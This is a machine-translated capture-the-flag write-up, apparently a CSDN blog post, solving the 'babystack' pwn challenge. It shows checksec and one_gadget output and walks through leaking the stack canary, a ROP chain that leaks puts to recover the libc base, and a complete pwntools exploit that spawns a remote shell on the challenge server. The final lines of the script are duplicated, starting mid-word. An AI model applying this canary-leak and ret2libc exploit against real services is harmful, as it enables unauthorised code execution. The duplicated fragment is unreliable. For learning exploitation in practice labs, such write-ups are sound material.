one_gadget usage | Advanced offensive zone babystack world pwn

0x00. Check the protection

devil@ubuntu:~/adworld/pwn$ checksec babystack
[*] '/home/devil/adworld/pwn/babystack'
    Arch:     amd64-64-little
    RELRO:    Full RELRO ;无法修改got表
    Stack:    Canary found ;不能直接进行溢出
    NX:       NX enabled ;堆栈不可执行
    PIE:      No PIE (0x400000)

0x01.one_gadget

This question gave libc version, you can use one_gadget tool
I use one_gadget is the first time, a brief introduction:

Function: Find libc known in exevce ( "/ bin / sh" ) statements address
usage: one_gadget libc-x.xx.so
official document Click here

devil@ubuntu:~/adworld/pwn$ one_gadget libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Shell can find the address of a function obtained by using one_gadget

execve_addr = 0x45216

0x02.ida debugging

Here Insert Picture Description
It can be seen that the storage v6 canary, s is a string we enter both 0x88 bytes apart.
Let the input 0x88 bytes, then use the value of the print function can be brought out of the canary.
code show as below:

payload1 = 'A'*0x88
r.sendlineafter(">> ","1")
r.sendline(payload1)
r.sendlineafter(">> ","2")
r.recvuntil('A'*0x88+'\n')
canary = u64(r.recv(7).rjust(8,'\x00'))

With the value of the canary we can overflow, overflow 64 program also requires apop rdi;ret
ROPgadget

0x0000000000400a93 : pop rdi ; ret

. 0x03 problem-solving ideas:

With 'a' * 0x88 bytes out canary, canary known to overflow.
Using the function puts the overflow function address output puts, reuse puts_addr-libc.symbols['puts']obtain libc shift offset
execve_addr = offset + the execve codes obtained one_gadget

0x04.exp

from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
r = remote("111.198.29.45",51596)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
execve = 0x45216 #one_gadget得到
main_addr = 0x400908 #main函数地址
rdi_addr = 0x400a93 #pop rdi;ret

payload1 = 'A'*0x88 #s和canary距离
r.sendlineafter(">> ","1")
r.sendline(payload1) #要使用sendline,即输入'A'*0x88后还要有一个回车,目的是将canary尾部的'\x00'覆盖为'\x0A'
#用puts函数输出canary时,puts函数遇到'\x00'会截断,使用'\x0A'覆盖'\x00',才能将canary输出
#注意,本程序是小端字节序(低位地址对应高位字节)
r.sendlineafter(">> ","2")
r.recvuntil('A'*0x88+'\n') #要等到'\n'之后再读取
canary = u64(r.recv(7).rjust(8,'\x00')) #r.recv(7)是由于puts输出的canary最后一位是'\x0A',要重新换成'\x00'

payload2 = 'A'*0x88
payload2+=p64(canary)+p64(0xdeadbeef)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)# 调用puts函数将puts函数的地址输出
r.sendlineafter(">> ","1")
r.sendline(payload2)
r.sendlineafter(">> ","3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))

offset = puts_addr - libc.symbols['puts']
execve_addr = offset + execve

payload3 = 'A'*0x88 + p64(canary) + p64(0xdeadbeef) + p64(execve_addr)

r.sendlineafter(">> ","1")
r.sendline(payload3)
r.sendlineafter(">> ","3")
r.interactive()

ter(">> ","1")
r.sendline(payload3)
r.sendlineafter(">> ","3")
r.interactive()
Published 107 original articles · won praise 68 · views 7765

Guess you like

Origin blog.csdn.net/weixin_43092232/article/details/105085880